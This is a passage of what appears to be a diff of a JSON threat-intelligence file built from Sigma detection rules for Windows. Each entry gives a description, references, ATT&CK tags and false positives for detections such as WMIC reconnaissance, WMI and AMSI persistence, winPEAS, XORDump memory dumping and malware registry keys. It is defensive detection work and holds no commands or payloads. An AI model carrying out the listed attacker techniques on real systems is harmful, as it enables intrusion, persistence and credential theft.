], - "creation_date": "2021/05/05", - "filename": "proc_creation_win_whoami_priv.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity (rare lookups on current privileges)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Task Scheduler .job import arbitrary DACL write\\par", - "uuid": "931b6802-d6a6-4267-9ffa-526f57f22aaf", - "value": "Windows 10 Scheduled Task SandboxEscaper 0-day", - "meta": { - "refs": [ - "https://github.com/SandboxEscaper/polarbearrepo/tree/master/bearlpe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win10_sched_task_0day.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1053.005", - "car.2013-08-001" - ], - "creation_date": "2019/05/22", - "filename": "proc_creation_win_win10_sched_task_0day.yml", - "author": "Olaf Hartong", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)", - "uuid": "8de89e52-f6e1-4b5b-afd1-41ecfa300d48", - "value": "Suspicious WindowsTerminal Child Processes", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/windowsterminalprofile.html", - "https://twitter.com/nas_bench/status/1550836225652686848", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence" - ], - "creation_date": "2022/07/25", - "filename": "proc_creation_win_windows_terminal_susp_children.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Other legitimate \"Windows Terminal\" profiles" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz", - "uuid": "98b53e78-ebaf-46f8-be06-421aafd176d9", - "value": "Detect Execution of winPEAS", - "meta": { - "refs": [ - "https://github.com/carlospolop/PEASS-ng", - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winpeas_tool.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1082", - "attack.t1087", - "attack.t1046" - ], - "creation_date": "2022/09/19", - "filename": "proc_creation_win_winpeas_tool.yml", - "author": "Georg Lauenstein", - "level": "high", - "falsepositive": [ - "Other programs that use the same command line flags" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the Installation of a Exchange Transport Agent", - "uuid": "83809e84-4475-4b69-bc3e-4aad8568612f", - "value": "MSExchange Transport Agent Installation", - "meta": { - "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win_exchange_transportagent.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.002" - ], - "creation_date": "2021/06/08", - "filename": "proc_creation_win_win_exchange_transportagent.yml", - "author": "Tobias Michalski", - "level": "medium", - "falsepositive": [ - "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model...etc.", - "uuid": "9d7ca793-f6bd-471c-8d0f-11e68b2f0d2f", - "value": "Suspicious Get Local Groups Information with WMIC", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/09/08", - "filename": "proc_creation_win_wmic_computersystem_recon.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", - "uuid": "164eda96-11b2-430b-85ff-6a265c15bf32", - "value": "Suspicious Get Local Groups Information with WMIC", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_group_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2021/12/12", - "filename": "proc_creation_win_wmic_group_recon.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects wmic known recon method to look for installed hotfixes, often used by pentest and attackers enum scripts", - "uuid": "dfd2fcb7-8bd5-4daa-b132-5adb61d6ad45", - "value": "WMIC Hotfix Recon", - "meta": { - "refs": [ - "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", - "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_win_wmic_hotfix_enum.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches.", - "uuid": "221b251a-357a-49a9-920a-271802777cc0", - "value": "Suspicious WMI Reconnaissance", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/01/01", - "filename": "proc_creation_win_wmic_reconnaissance.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary might use WMI to execute commands on a remote system", - "uuid": "e42af9df-d90b-4306-b7fb-05c863847ebd", - "value": "WMI Remote Command Execution", - "meta": { - "refs": [ - "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/03/13", - "filename": "proc_creation_win_wmic_remote_command.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n", - "uuid": "09af397b-c5eb-4811-b2bb-08b3de464ebf", - "value": "WMI Reconnaissance List Remote Services", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/01/01", - "filename": "proc_creation_win_wmic_remote_service.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Uninstall an application with wmic", - "uuid": "b53317a0-8acf-4fd1-8de8-a5401e776b96", - "value": "WMI Uninstall An Application", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remove_application.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/01/28", - "filename": "proc_creation_win_wmic_remove_application.yml", - "author": "frac113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of wmic to start or stop a service", - "uuid": "0b7163dc-7eee-4960-af17-c0cd517f92da", - "value": "WMIC Service Start/Stop", - "meta": { - "refs": [ - "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_win_wmic_service.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects wmic known recon method to look for unquoted service paths, often used by pentest and attackers enum scripts", - "uuid": "68bcd73b-37ef-49cb-95fc-edc809730be6", - "value": "WMIC Unquoted Services Path Lookup", - "meta": { - "refs": [ - "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_unquoted_service_search.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_win_wmic_unquoted_service_search.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects wmiprvse spawning processes", - "uuid": "d21374ff-f574-44a7-9998-4a8c8bf33d7d", - "value": "Wmiprvse Spawning Process", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190810201010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2019/08/15", - "filename": "proc_creation_win_wmiprvse_spawning_process.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", - "uuid": "797011dc-44f4-4e6f-9f10-a8ceefbe566b", - "value": "WMI Backdoor Exchange Transport Agent", - "meta": { - "refs": [ - "https://twitter.com/cglyer/status/1182389676876980224", - "https://twitter.com/cglyer/status/1182391019633029120", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.003" - ], - "creation_date": "2019/10/11", - "filename": "proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects WMI script event consumers", - "uuid": "ec1d5e28-8f3b-4188-a6f8-6e8df81dc28e", - "value": "WMI Persistence - Script Event Consumer", - "meta": { - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.003" - ], - "creation_date": "2018/03/07", - "filename": "proc_creation_win_wmi_persistence_script_event_consumer.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Legitimate event consumers", - "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects WMI spawning a PowerShell process", - "uuid": "692f0bec-83ba-4d04-af7e-e884a96059b6", - "value": "WMI Spawning Windows PowerShell", - "meta": { - "refs": [ - "https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_spwns_powershell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1059.001" - ], - "creation_date": "2019/04/03", - "filename": "proc_creation_win_wmi_spwns_powershell.yml", - "author": "Markus Neis / @Karneades", - "level": "high", - "falsepositive": [ - "AppvClient", - "CCM" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", - "uuid": "419dbf2b-8a9b-4bea-bf99-7544b050ec8d", - "value": "Microsoft Workflow Compiler", - "meta": { - "refs": [ - "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_workflow_compiler.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1127", - "attack.t1218" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_workflow_compiler.yml", - "author": "Nik Seetharaman, frack113", - "level": "high", - "falsepositive": [ - "Legitimate MWC use (unlikely in modern enterprise environments)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section", - "uuid": "4abc0ec4-db5a-412f-9632-26659cddf145", - "value": "UEFI Persistence Via Wpbbin - ProcessCreation", - "meta": { - "refs": [ - "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", - "https://persistence-info.github.io/Data/wpbbin.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1542.001" - ], - "creation_date": "2022/07/18", - "filename": "proc_creation_win_wpbbin_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.", - "uuid": "75f7a0e2-7154-4c4d-9eae-5cdb4e0a5c13", - "value": "Write Protect For Storage Disabled", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_write_protect_for_storage_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2021/06/11", - "filename": "proc_creation_win_write_protect_for_storage_disabled.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity", - "uuid": "2c28c248-7f50-417a-9186-a85b223010ee", - "value": "Wscript Shell Run In CommandLine", - "meta": { - "refs": [ - "http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_shell_cli.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/08/31", - "filename": "proc_creation_win_wscript_shell_cli.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare legitimate inline scripting by some administrators" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", - "uuid": "59b39960-5f9d-4a49-9cef-1e4d2c1d0cb9", - "value": "Wusa Extracting Cab Files", - "meta": { - "refs": [ - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/04", - "filename": "proc_creation_win_wusa_susp_cab_extraction.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", - "uuid": "c74c0390-3e20-41fd-a69a-128f0275a5ea", - "value": "Wusa Extracting Cab Files From Suspicious Paths", - "meta": { - "refs": [ - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://www.echotrail.io/insights/search/wusa.exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/05", - "filename": "proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious use of XORDump process memory dumping utility", - "uuid": "66e563f9-1cbd-4a22-a957-d8b7c0f44372", - "value": "XORDump Use", - "meta": { - "refs": [ - "https://github.com/audibleblink/xordump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2022/01/28", - "filename": "proc_creation_win_xordump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Another tool that uses the command line switches of XORdump" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", - "uuid": "05c36dd6-79d6-4a9a-97da-3db20298ab2d", - "value": "XSL Script Processing", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1220" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_xsl_script_processing.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", - "Msxsl.exe is not installed by default, so unlikely.", - "Static format arguments - https://petri.com/command-line-wmi-part-3" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Raw disk access using illegitimate tools, possible defence evasion", - "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c", - "value": "Raw Disk Access Using Illegitimate Tools", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_disk_access_using_illegitimate_tools.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1006" - ], - "creation_date": "2019/10/22", - "filename": "raw_access_thread_disk_access_using_illegitimate_tools.yml", - "author": "Teymur Kheirkhabarov, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate Administrator using tool for raw access or ongoing forensic investigation" - ], - "logsource.category": "raw_access_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", - "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f705", - "value": "Persistence Via New AMSI Providers", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/amsi.html", - "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_add_amsi_providers_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate security products adding their own AMSI providers" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of UserInitMprLogonScript persistence method", - "uuid": "9ace0707-b560-49b8-b6ca-5148b42f39fb", - "value": "Logon Scripts Creation in UserInitMprLogonScript Registry", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1037/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml" - ], - "tags": [ - "attack.t1037.001", - "attack.persistence", - "attack.lateral_movement" - ], - "creation_date": "2019/01/12", - "filename": "registry_add_logon_scripts_userinitmprlogonscript_reg.yml", - "author": "Tom Ueltschi (@c_APT_ure)", - "level": "high", - "falsepositive": [ - "Exclude legitimate logon scripts" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire", - "uuid": "1d218616-71b0-4c40-855b-9dbe75510f7f", - "value": "NetWire RAT Registry Key", - "meta": { - "refs": [ - "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", - "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", - "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2021/10/07", - "filename": "registry_add_mal_netwire.yml", - "author": "Christopher Peacock", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects new registry key created by Ursnif malware.", - "uuid": "21f17060-b282-4249-ade0-589ea3591558", - "value": "Ursnif", - "meta": { - "refs": [ - "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml" - ], - "tags": [ - "attack.execution", - "attack.t1112" - ], - "creation_date": "2019/02/13", - "filename": "registry_add_mal_ursnif.yml", - "author": "megan201296", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects COM object hijacking via TreatAs subkey", - "uuid": "9b0f8a61-91b2-464f-aceb-0527e0a45020", - "value": "Windows Registry Persistence COM Key Linking", - "meta": { - "refs": [ - "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2019/10/23", - "filename": "registry_add_persistence_key_linking.yml", - "author": "Kutepov Anton, oscd.community", - "level": "medium", - "falsepositive": [ - "Maybe some system utilities in rare cases use linking keys for backward compatibility" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects the of the \"accepteula\" key related to sysinternals tools being created from non sysinternals tools", - "uuid": "f50f3c09-557d-492d-81db-9064a8d4e211", - "value": "Usage of Renamed Sysinternals Tools", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ], - "creation_date": "2022/08/24", - "filename": "registry_add_renamed_sysinternals_eula_accepted.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of Suspicious Sysinternals Tools such as PsExec, Procdump...etc via the \"accepteula\" key being added to Registry", - "uuid": "c7da8edc-49ae-45a2-9e61-9fd860e4e73d", - "value": "Usage of Suspicious Sysinternals Tools", - "meta": { - "refs": [ - "https://twitter.com/Moti_B/status/1008587936735035392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_susp_sysinternals_eula_accepted.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ], - "creation_date": "2022/08/24", - "filename": "registry_add_susp_sysinternals_eula_accepted.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of SysInternals tools" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of Sysinternals Tools due to accepteula key being added to Registry", - "uuid": "25ffa65d-76d8-4da5-a832-3f2b0136e133", - "value": "Usage of Sysinternals Tools", - "meta": { - "refs": [ - "https://twitter.com/Moti_B/status/1008587936735035392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ], - "creation_date": "2017/08/28", - "filename": "registry_add_sysinternals_eula_accepted.yml", - "author": "Markus Neis", - "level": "low", - "falsepositive": [ - "Legitimate use of SysInternals tools", - "Programs that use the same Registry Key" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.", - "uuid": "9841b233-8df8-4ad7-9133-b0b4402a9014", - "value": "Sysinternals SDelete Registry Keys", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/9", - "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2020/05/02", - "filename": "registry_add_sysinternals_sdelete_registry_keys.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_add", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box [\u2026]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", - "uuid": "d4f4e0be-cf12-439f-9e25-4e2cdcf7df5a", - "value": "Persistence Via Disk Cleanup Handler - NewEntry", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/diskcleanuphandler.html", - "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_set_disk_cleanup_handler_new_entry_persistence.yml" - ], - "tags": [ 